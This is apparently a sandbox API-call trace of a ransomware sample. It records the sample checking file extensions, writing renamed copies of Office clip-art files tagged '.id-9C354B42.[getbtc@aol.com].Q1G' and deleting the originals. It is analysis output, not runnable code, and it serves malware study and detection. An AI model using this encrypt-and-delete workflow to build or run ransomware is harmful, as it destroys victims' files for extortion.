[0248.306] lstrlenW (lpString=".jpg") returned 4 [0248.306] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0248.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0248.306] lstrlenW (lpString=".doc") returned 4 [0248.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.306] lstrlenW (lpString=".docx") returned 5 [0248.306] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.306] lstrlenW (lpString=".pdf") returned 4 [0248.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.306] lstrlenW (lpString=".xls") returned 4 [0248.307] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.307] lstrlenW (lpString=".xlsx") returned 5 [0248.307] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.307] lstrlenW (lpString=".ppt") returned 4 [0248.307] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0248.307] lstrlenW (lpString=".zip") returned 4 [0248.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.307] lstrlenW (lpString=".rar") returned 4 [0248.307] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.307] lstrlenW (lpString=".bz2") returned 4 [0248.307] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.307] lstrlenW (lpString=".7z") returned 3 [0248.307] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0248.307] lstrlenW (lpString=".dbf") returned 4 [0248.307] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0248.307] lstrlenW (lpString=".1cd") returned 4 [0248.307] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0248.307] lstrlenW (lpString=".jpg") returned 4 [0248.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.307] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.307] lstrlenW (lpString="DD01172_.WMF") returned 12 [0248.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0248.308] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2232) returned 1 [0248.308] CloseHandle (hObject=0x3bc) returned 1 [0248.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x20 [0248.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0248.308] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.308] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.309] GetLastError () returned 0x0 [0248.309] ReadFile (in: hFile=0x3bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x8b8, lpOverlapped=0x0) returned 1 [0248.333] WriteFile (in: hFile=0x3b4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0248.334] ReadFile (in: hFile=0x3bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.334] WriteFile (in: hFile=0x3b4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.334] SetEndOfFile (hFile=0x3b4) returned 1 [0248.335] CloseHandle (hObject=0x3b4) returned 1 [0248.335] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.335] SetEndOfFile (hFile=0x3bc) returned 1 [0248.338] CloseHandle (hObject=0x3bc) returned 1 [0248.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.373] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf")) returned 1 [0248.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0248.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0248.374] lstrlenW (lpString=".doc") returned 4 [0248.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.374] lstrlenW (lpString=".docx") returned 5 [0248.374] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.374] lstrlenW (lpString=".pdf") returned 4 [0248.374] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.374] lstrlenW (lpString=".xls") returned 4 [0248.374] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.374] lstrlenW (lpString=".xlsx") returned 5 [0248.374] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.374] lstrlenW (lpString=".ppt") returned 4 [0248.374] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0248.374] lstrlenW (lpString=".zip") returned 4 [0248.374] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.374] lstrlenW (lpString=".rar") returned 4 [0248.374] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.374] lstrlenW (lpString=".bz2") returned 4 [0248.374] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.374] lstrlenW (lpString=".7z") returned 3 [0248.374] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0248.374] lstrlenW (lpString=".dbf") returned 4 [0248.374] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0248.374] lstrlenW (lpString=".1cd") returned 4 [0248.374] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0248.374] lstrlenW (lpString=".jpg") returned 4 [0248.374] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0248.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0248.374] lstrlenW (lpString=".doc") returned 4 [0248.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.374] lstrlenW (lpString=".docx") returned 5 [0248.374] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.374] lstrlenW (lpString=".pdf") returned 4 [0248.374] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.375] lstrlenW (lpString=".xls") returned 4 [0248.375] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.375] lstrlenW (lpString=".xlsx") returned 5 [0248.375] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.375] lstrlenW (lpString=".ppt") returned 4 [0248.375] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0248.375] lstrlenW (lpString=".zip") returned 4 [0248.375] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.375] lstrlenW (lpString=".rar") returned 4 [0248.375] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.375] lstrlenW (lpString=".bz2") returned 4 [0248.375] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.375] lstrlenW (lpString=".7z") returned 3 [0248.375] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0248.375] lstrlenW (lpString=".dbf") returned 4 [0248.375] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0248.375] lstrlenW (lpString=".1cd") returned 4 [0248.375] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0248.375] lstrlenW (lpString=".jpg") returned 4 [0248.375] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.375] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.375] lstrlenW (lpString="DD01178_.WMF") returned 12 [0248.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0248.376] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=3796) returned 1 [0248.376] CloseHandle (hObject=0x3ac) returned 1 [0248.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x20 [0248.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0248.376] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.376] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.377] GetLastError () returned 0x0 [0248.377] ReadFile (in: hFile=0x3ac, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0xed4, lpOverlapped=0x0) returned 1 [0248.378] WriteFile (in: hFile=0x3b4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xee0, lpOverlapped=0x0) returned 1 [0248.379] ReadFile (in: hFile=0x3ac, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.379] WriteFile (in: hFile=0x3b4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.379] SetEndOfFile (hFile=0x3b4) returned 1 [0248.379] CloseHandle (hObject=0x3b4) returned 1 [0248.379] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.379] SetEndOfFile (hFile=0x3ac) returned 1 [0248.381] CloseHandle (hObject=0x3ac) returned 1 [0248.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.381] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf")) returned 1 [0248.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0248.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0248.382] lstrlenW (lpString=".doc") returned 4 [0248.382] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.382] lstrlenW (lpString=".docx") returned 5 [0248.382] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.382] lstrlenW (lpString=".pdf") returned 4 [0248.382] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.382] lstrlenW (lpString=".xls") returned 4 [0248.382] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.382] lstrlenW (lpString=".xlsx") returned 5 [0248.382] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.382] lstrlenW (lpString=".ppt") returned 4 [0248.382] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0248.383] lstrlenW (lpString=".zip") returned 4 [0248.383] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.383] lstrlenW (lpString=".rar") returned 4 [0248.383] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.383] lstrlenW (lpString=".bz2") returned 4 [0248.383] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.383] lstrlenW (lpString=".7z") returned 3 [0248.383] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0248.383] lstrlenW (lpString=".dbf") returned 4 [0248.383] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0248.383] lstrlenW (lpString=".1cd") returned 4 [0248.383] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0248.383] lstrlenW (lpString=".jpg") returned 4 [0248.383] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0248.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0248.383] lstrlenW (lpString=".doc") returned 4 [0248.383] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.383] lstrlenW (lpString=".docx") returned 5 [0248.383] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.383] lstrlenW (lpString=".pdf") returned 4 [0248.383] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.383] lstrlenW (lpString=".xls") returned 4 [0248.383] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.383] lstrlenW (lpString=".xlsx") returned 5 [0248.383] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.383] lstrlenW (lpString=".ppt") returned 4 [0248.383] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0248.383] lstrlenW (lpString=".zip") returned 4 [0248.383] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.383] lstrlenW (lpString=".rar") returned 4 [0248.384] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.384] lstrlenW (lpString=".bz2") returned 4 [0248.384] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.384] lstrlenW (lpString=".7z") returned 3 [0248.384] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0248.384] lstrlenW (lpString=".dbf") returned 4 [0248.384] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0248.384] lstrlenW (lpString=".1cd") returned 4 [0248.384] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0248.384] lstrlenW (lpString=".jpg") returned 4 [0248.384] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.384] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.384] lstrlenW (lpString="DD01179_.WMF") returned 12 [0248.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0248.384] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2024) returned 1 [0248.385] CloseHandle (hObject=0x3ac) returned 1 [0248.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x20 [0248.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0248.385] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.385] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.385] GetLastError () returned 0x0 [0248.385] ReadFile (in: hFile=0x3ac, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x7e8, lpOverlapped=0x0) returned 1 [0248.387] WriteFile (in: hFile=0x3b4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0248.388] ReadFile (in: hFile=0x3ac, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.388] WriteFile (in: hFile=0x3b4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.388] SetEndOfFile (hFile=0x3b4) returned 1 [0248.388] CloseHandle (hObject=0x3b4) returned 1 [0248.388] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.388] SetEndOfFile (hFile=0x3ac) returned 1 [0248.391] CloseHandle (hObject=0x3ac) returned 1 [0248.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.391] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf")) returned 1 [0248.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0248.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0248.391] lstrlenW (lpString=".doc") returned 4 [0248.391] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.391] lstrlenW (lpString=".docx") returned 5 [0248.391] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.391] lstrlenW (lpString=".pdf") returned 4 [0248.391] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.391] lstrlenW (lpString=".xls") returned 4 [0248.391] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.392] lstrlenW (lpString=".xlsx") returned 5 [0248.392] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.392] lstrlenW (lpString=".ppt") returned 4 [0248.392] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0248.392] lstrlenW (lpString=".zip") returned 4 [0248.392] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.392] lstrlenW (lpString=".rar") returned 4 [0248.392] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.392] lstrlenW (lpString=".bz2") returned 4 [0248.392] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.392] lstrlenW (lpString=".7z") returned 3 [0248.392] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0248.392] lstrlenW (lpString=".dbf") returned 4 [0248.392] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0248.392] lstrlenW (lpString=".1cd") returned 4 [0248.392] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0248.392] lstrlenW (lpString=".jpg") returned 4 [0248.392] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0248.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0248.392] lstrlenW (lpString=".doc") returned 4 [0248.392] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.392] lstrlenW (lpString=".docx") returned 5 [0248.392] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 